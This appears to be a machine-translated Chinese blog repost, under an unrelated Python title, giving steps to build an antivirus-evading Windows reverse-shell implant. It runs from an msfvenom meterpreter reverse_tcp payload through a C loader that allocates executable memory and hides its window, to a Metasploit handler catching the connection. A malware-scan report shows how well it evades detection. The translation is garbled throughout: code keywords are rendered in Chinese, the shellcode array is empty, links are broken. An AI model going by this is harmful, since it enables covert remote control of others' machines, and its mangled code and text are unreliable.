python 源码编译,python在线编译器源码
尝试本文介绍的不杀生法。在线编译外壳代码,不用c杀(https://www . xlj TJ.com/archives/c-shellcode.html? From=timelineisappinstalled=0)。这篇文章已经写的很清楚了,我会清楚的记录下这篇文章的所有步骤。可能不是没有文章,给自己留个备份吧。对了,我要记录下我遇到的几个mini小孔。
#0x01环境
- Vs 2019
- windows 10
-凯莉
#0x02 msf生成外壳代码
``````
MSF venom-ax86-Platform Windows-P Windows/Meter Preter/Reverse _ TCPL Host=攻击设备的IP(MSF的反弹IP)LPORT=攻击设备的端口(mmsf
``````
!【标题】(https://leanote.com/API/file/getimage? fileid=5e9b ab12 ab 64410 e 3d 0012 F8)
生成#0x03 VS可执行文件
这里有两个小要点:
由于本人、作者的VS版本和目标环境的差异,首先在VS 2019上生成`控制台APP 时,默认没有头文件。因此,生成器中没有名为pch.h 的头文件。解决办法很简单。删除代码`#include pch.h 就行了。
!【标题】(https://leanote.com/API/file/getimage? fileid=5e 9 BAE a9 ab 6441104 c 0012 ee)
!【标题】(https://leanote.com/API/file/getimage? fileid=5e 9ba f14 ab 64410 e 3d 0013 CD)
第二,如``代码生成``运行时选项和编译配置中的绿框:
!【标题】(https://leanote.com/API/file/getimage? fileid=5e 9bb 680 ab 64410 e 3d 00152 f)
如果我选择这种方式,请注意这里的编译配置是Debug x86’。这样可以成功生成exe,但是在运行过程中无法正常运行。目标计算机报告了以下情况:错误
![标题](https://leanote.com/API/file/getimage? fileid=5e 9 BAF deab 64410 e 3d 0013 F9)
![标题](https://leanote.com/API/file/getimage? fileid=5e 9 ba Fe 6 ab 6441104 c 001324)
解决方案也不难:
-项目“属性”“代码生成”“运行时”选择* *多线程(/MT) *
-编译配置选择“版本x86”。
!【标题】(https://leanote.com/API/file/getimage? fileid=5e 9 bb 02 eab 6441104 c 001332)
-
具体操作如下:
打开vs2019,创建一个新项目“控制台应用程序(c)”。
然后将shellcode复制到下面的代码中(我删除了不存在的头)。
``````
//MSF.cpp:这个文件包含了“main”函数。程序的执行在这里开始和结束。
#包括
#include stdio.h
#包含“Windows.h”
# pragma comment(链接器,/subsystem:\ windows \ /entry:\ maincrtstartup \ )/删除窗口
//包含步骤b的桌面上生成的shellcode.c的内容。
未指定的字符外壳代码[]=
Void master())
{
//shellexecute(NULL,_t ) open),_ t)explorer.exe),_ t)https://www.baiud.com),NULL,SW_).
lpvoidmemory=virtualalloc(null,sizeof ) shellcode),MEM _提交 MEM _保留,页面_执行_读写);
内存(Memory,shellcode,sizeof)shellcode);
()void(*))内存));
}
``````
选择所有外壳代码,并将其复制到编辑器代码框中:
!【标题】(https://leanote.com/API/file/getimage? fileid=5e 9bb 192 ab 64410 e 3d 001446)
将编译配置更改为:
![标题](https://leanote.com/API/file/getimage? fileid=5e 9 bb 1 dbab 6441104 c 001388)
修改属性:在项目C/C代码生成运行时中右键单击属性:
!【标题】(https://leanote.com/API/file/getimage? fileid=5e9b b1b 7 ab 64410 e3d 001450)
保存后,重新构建解决方案会生成exe,exe会运行并上线。
!【标题】(https://leanote.com/API/file/getimage? fileid=5e 9bb 240 ab 64410 e 3d 001466)
这里原作者编译运行时配置调试x86多线程测试/MTd 生成的文件大小是38.5k,而我配置生成的文件大小是79.0k
#0x04在线测试
使用MSF打开拦截:
``````
使用漏洞/多重/处理程序
setpayloadwindows/仪表预测器/反向_ TCP
设置lhost 192.168.113.131
设置lport 8090
奔跑
``````
运行exe以立即使:联机。
!【标题】(https://leanote.com/API/file/getimage? fileid=5e 9 bb 3d eab 6441104 c 0013 E7)
#0x05非致命检查
网络审查地址:[MSF(2).exe])https://r . virs can . org/language/zh-cn/report/aa b7b c 6 bee ad 5b 681 de1f 59563456 e 89]
似乎还不错:
!【标题】(https://leanote . com/API/file/getimage?fileid=5e 9bb 498 ab 64410 e 3d 0014 D6)
#0x06 CS在线
我也懒得了。把两端抬起来有点麻烦。
要在特许测量员中联机,请生成有效载荷,如下所示:
!【标题】(https://leanote . com/API/file/getimage?fileid=5e 9bb 516 ab 6441104 c 00141 f)
后面的操作是一样的。
-
#参考链接:
1 .在[中编译外壳代码停止在线](https://www。xlj TJ.com/archives/c-shellcode.html? from=timelineisappinstalled=0(,心灵鸡汤君的博客,心灵鸡汤君,2020年04月18日
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。